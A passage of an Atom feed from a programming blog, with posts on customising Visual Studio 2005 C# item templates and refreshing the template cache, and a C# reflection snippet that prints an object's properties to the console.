3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;rootnamespace&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;safeitemrootname&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So this is the normal new empty class, and the tokens &lt;code&gt;$rootnamespace$&lt;/code&gt; and &lt;code&gt;$safeitemrootname$&lt;/code&gt; are what will get replaced when VS parses the file and passes in the parameters. Well, I don&#39;t know anything about those parameters... So I&#39;m not going to mess with them. However, I did go make a list of the parameters I found in the default templates ( I could not find a list of these parameters on the net anywhere...)&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;$rootnamespace$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$safeitemrootname$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$registeredorganization$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$year$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$guid1$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$ContentTags$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$MasterPage$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$fileinputname$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$classname$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$safeitemname$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So I modified &lt;code&gt;Class.cs&lt;/code&gt; to be:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;rootnamespace&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;safeitemrootname&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Constructors&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;safeitemrootname&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Init&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cs&#34;&gt;/// &amp;lt;summary&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cs&#34;&gt;/// Initializes field values.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cs&#34;&gt;/// &amp;lt;/summary&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Init&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Constructors&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Fields&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Fields&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Properties&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Properties&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Public Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Public Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Private Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Private Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Yay! my fingers are saved... but what you say? all my base are NOT belong to us? True. Someone set us up the cache.&lt;/p&gt;&#xA;&lt;h3 id=&#34;refreshing-the-visual-studio-template-cache&#34;&gt;Refreshing the Visual Studio Template Cache&lt;/h3&gt;&#xA;&lt;p&gt;The template files are cached in a folder called &lt;code&gt;TemplateItemCache&lt;/code&gt; in the same location as the template folder. So...&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Close all Visual Studio Windows&lt;/li&gt;&#xA;&lt;li&gt;Clear contents of TemplateCache folder&lt;/li&gt;&#xA;&lt;li&gt;Open a DOS prompt (normal one, or Visual Studio 2005 Command Prompt)&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;devenv /installvstemplates&lt;/code&gt; &lt;em&gt;(if that doesn&#39;t work, run &lt;code&gt;devenv /setup&lt;/code&gt;)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now, when you restart Visual Studio, your new templates will be installed... BUT! the fun doesn&#39;t stop here! The same templating structure for items also applies to projects! But that&#39;s next post...&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Code Snippet: PrintObject</title>
		<id>https://blog.thoward37.me/articles/code-snippet-printobject</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/code-snippet-printobject" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/code-snippet-printobject" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/code-snippet-printobject" type="text/html"></link>
		<published>2007-07-10T16:30:00+00:00</published>
		<updated>2007-07-10T16:30:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Following up on the same idea as the &lt;code&gt;ListEnum&lt;/code&gt; code snippet, this is a method I often use to print the properties of an object to the console.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I write a number of small command-line utilities and typically, I create a &amp;quot;property bag&amp;quot; type of object that contains all of the possible command-line options. Just before execution, I like to display the options to the user, so that they know that the program knows what they meant by the command-line options.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s the code that does that:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;printObject&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;PropertyInfo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pia&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetType&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetProperties&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PropertyInfo&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pi&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pia&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PadRight&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;sc&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s&#34;&gt;&amp;#34;: &amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;pi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;null&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ToString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;());&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This could, of course, be used for any scenario where you want to inspect the values of the properties on an object. If you were so inclined, this could easily be expanded to have a lot more detail, handle arrays, print the type name of the object, etc.. I have various permutations of this method that do some or all of that as needed. I have considered turning this into a class with all those fiddly bits configurable, but haven&#39;t gotten around to it yet... If I ever do, I&#39;ll post it here!&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Following up on the same idea as the &lt;code&gt;ListEnum&lt;/code&gt; code snippet, this is a method I often use to print the properties of an object to the console.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I write a number of small command-line utilities and typically, I create a &amp;quot;property bag&amp;quot; type of object that contains all of the possible command-line options. Just before execution, I like to display the options to the user, so that they know that the program knows what they meant by the command-line options.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s the code that does that:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;printObject&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;PropertyInfo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pia&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetType&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetProperties&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PropertyInfo&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pi&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pia&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PadRight&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;sc&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s&#34;&gt;&amp;#34;: &amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;pi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;obj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;null&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ToString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;());&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This could, of course, be used for any scenario where you want to inspect the values of the properties on an object. If you were so inclined, this could easily be expanded to have a lot more detail, handle arrays, print the type name of the object, etc.. I have various permutations of this method that do some or all of that as needed. I have considered turning this into a class with all those fiddly bits configurable, but haven&#39;t gotten around to it yet... If I ever do, I&#39;ll post it here!&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>IComparable and Egocentrism</title>
		<id>https://blog.thoward37.me/articles/icomparable-and-egocentrism</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/icomparable-and-egocentrism" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/icomparable-and-egocentrism" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/icomparable-and-egocentrism" type="text/html"></link>
